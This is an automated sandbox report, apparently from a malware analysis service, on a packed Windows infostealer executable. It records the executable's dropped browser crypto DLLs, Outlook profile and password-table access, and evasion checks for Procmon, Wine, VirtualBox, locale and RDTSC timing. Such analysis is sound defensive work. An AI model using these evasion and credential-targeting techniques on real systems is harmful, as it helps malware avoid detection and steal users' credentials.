Source: IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1834922301.0000000029591000.00000004.00000020.00020000.00000000.sdmp, IIECFHDBAAECAAKFHDHIIJKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D	0_2_0128895D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0120B81D	0_2_0120B81D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0120B064	0_2_0120B064
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012798B8	0_2_012798B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129289F	0_2_0129289F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013620C1	0_2_013620C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01294369	0_2_01294369
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01227BB3	0_2_01227BB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01283A0E	0_2_01283A0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01285411	0_2_01285411
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01282CBE	0_2_01282CBE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01286E20	0_2_01286E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011FC638	0_2_011FC638
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128BE10	0_2_0128BE10

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00EC45C0 appears 316 times

Source: file.exe, 00000000.00000002.1888534807.000000006C865000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1888660925.000000006F902000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: tnilader ZLIB complexity 0.9947230005699088

Source: file.exe, 00000000.00000003.1681670041.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/21@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00ED8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00ED3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\57LVIN39.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1888454129.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1888205593.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1888454129.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1888205593.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1888454129.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1888205593.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1888454129.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1888205593.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1888454129.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1888205593.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1888454129.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1888205593.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1888205593.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1760492796.000000001D2C4000.00000004.00000020.00020000.00000000.sdmp, IJKJDAFHJDHIEBGCFIDB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1888205593.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1888205593.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1874291099.000000001D3C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1841152 > 1048576

Source: file.exe

Static PE information: Raw size of tnilader is bigger than: 0x100000 < 0x19b400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1888622144.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1888454129.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1888454129.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1888622144.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ec0000.1.unpack :EW;.rsrc :W;.idata :W; :EW;tnilader:EW;xlmlwmsp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;tnilader:EW;xlmlwmsp:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00ED9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c3d9f should be: 0x1c904d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: tnilader
Source: file.exe	Static PE information: section name: xlmlwmsp
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0133591E push ebx; mov dword ptr [esp], eax	0_2_0133595E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0130E950 push 60E4F21Ah; mov dword ptr [esp], ebp	0_2_0130E99B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AA159 push 3C319724h; mov dword ptr [esp], ebx	0_2_013AA167
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119F16B push 298AB24Dh; mov dword ptr [esp], edx	0_2_0119F184
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119F16B push 2766EF73h; mov dword ptr [esp], edi	0_2_0119F1AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push ecx; mov dword ptr [esp], eax	0_2_01288967
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push 2D569067h; mov dword ptr [esp], ecx	0_2_012889E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push 7B896680h; mov dword ptr [esp], eax	0_2_01288B2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push esi; mov dword ptr [esp], edx	0_2_01288BA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push 6EBC6592h; mov dword ptr [esp], edi	0_2_01288BC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push 1F9380C6h; mov dword ptr [esp], edx	0_2_01288C56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push 785270C1h; mov dword ptr [esp], eax	0_2_01288C66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push edi; mov dword ptr [esp], ecx	0_2_01288C71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push ecx; mov dword ptr [esp], ebp	0_2_01288D2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push 7F64460Bh; mov dword ptr [esp], ecx	0_2_01288D5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push ebp; mov dword ptr [esp], esi	0_2_01288D6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push edx; mov dword ptr [esp], 7B3BA285h	0_2_01288DAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push ebx; mov dword ptr [esp], edx	0_2_01288DB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push eax; mov dword ptr [esp], edx	0_2_01288E05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push ecx; mov dword ptr [esp], 07BA4000h	0_2_01288E62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push edx; mov dword ptr [esp], eax	0_2_01288F27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push edx; mov dword ptr [esp], ecx	0_2_01288FCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push edi; mov dword ptr [esp], edx	0_2_012890A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push eax; mov dword ptr [esp], edx	0_2_01289131
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push eax; mov dword ptr [esp], 7EF416CFh	0_2_0128913A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push 5AFC28EEh; mov dword ptr [esp], ebp	0_2_0128915D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push ebp; mov dword ptr [esp], esi	0_2_012891E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push 652C9DD6h; mov dword ptr [esp], ebp	0_2_01289243
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push ebp; mov dword ptr [esp], 297ABC31h	0_2_01289297
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push edi; mov dword ptr [esp], eax	0_2_012892EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128895D push eax; mov dword ptr [esp], 3F1DF590h	0_2_01289372

Source: file.exe

Static PE information: section name: tnilader entropy: 7.953872186334989

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00ED9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13634

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112205F second address: 1122065 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122065 second address: 112190C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6E3CB812E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b pushad 0x0000000c push edx 0x0000000d movzx ecx, di 0x00000010 pop esi 0x00000011 mov cx, bx 0x00000014 popad 0x00000015 clc 0x00000016 push dword ptr [ebp+122D0651h] 0x0000001c jmp 00007F6E3CB812F6h 0x00000021 call dword ptr [ebp+122D296Ah] 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D1B8Fh], ebx 0x0000002e jmp 00007F6E3CB812F4h 0x00000033 xor eax, eax 0x00000035 clc 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a mov dword ptr [ebp+122D1B8Fh], ecx 0x00000040 mov dword ptr [ebp+122D3772h], eax 0x00000046 add dword ptr [ebp+122D1B8Fh], edx 0x0000004c mov esi, 0000003Ch 0x00000051 cmc 0x00000052 add esi, dword ptr [esp+24h] 0x00000056 cld 0x00000057 lodsw 0x00000059 or dword ptr [ebp+122D1B8Fh], ecx 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 cmc 0x00000064 mov dword ptr [ebp+122D2242h], eax 0x0000006a mov ebx, dword ptr [esp+24h] 0x0000006e or dword ptr [ebp+122D2242h], eax 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 jp 00007F6E3CB812E8h 0x0000007d pushad 0x0000007e popad 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299217 second address: 129922F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3CB7CFEEh 0x00000009 jl 00007F6E3CB7CFE6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129922F second address: 1299233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299233 second address: 1299242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299242 second address: 1299258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F6E3CB812E6h 0x00000010 jp 00007F6E3CB812E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298239 second address: 129823E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129823E second address: 129824F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3CB812EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12983A9 second address: 12983BA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12983BA second address: 12983BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12983BE second address: 12983C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12983C2 second address: 12983D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c je 00007F6E3CB812E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12983D4 second address: 12983D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12983D8 second address: 12983DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
